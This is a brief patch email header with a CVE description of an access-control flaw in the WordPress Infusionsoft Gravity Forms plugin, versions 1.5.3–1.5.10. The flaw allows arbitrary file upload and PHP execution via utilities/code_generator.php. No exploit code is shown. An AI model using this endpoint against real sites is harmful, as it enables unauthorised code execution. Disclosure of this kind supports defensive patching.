Subject: [PATCH] Wordpress Infusionsoft Gravity Forms CVE-2014-6446

The Infusionsoft Gravity Forms plugin 1.5.3 through 1.5.10 for
WordPress does not properly restrict access, which allows remote
attackers to upload arbitrary files and execute arbitrary PHP
code via a request to utilities/code_generator.php.
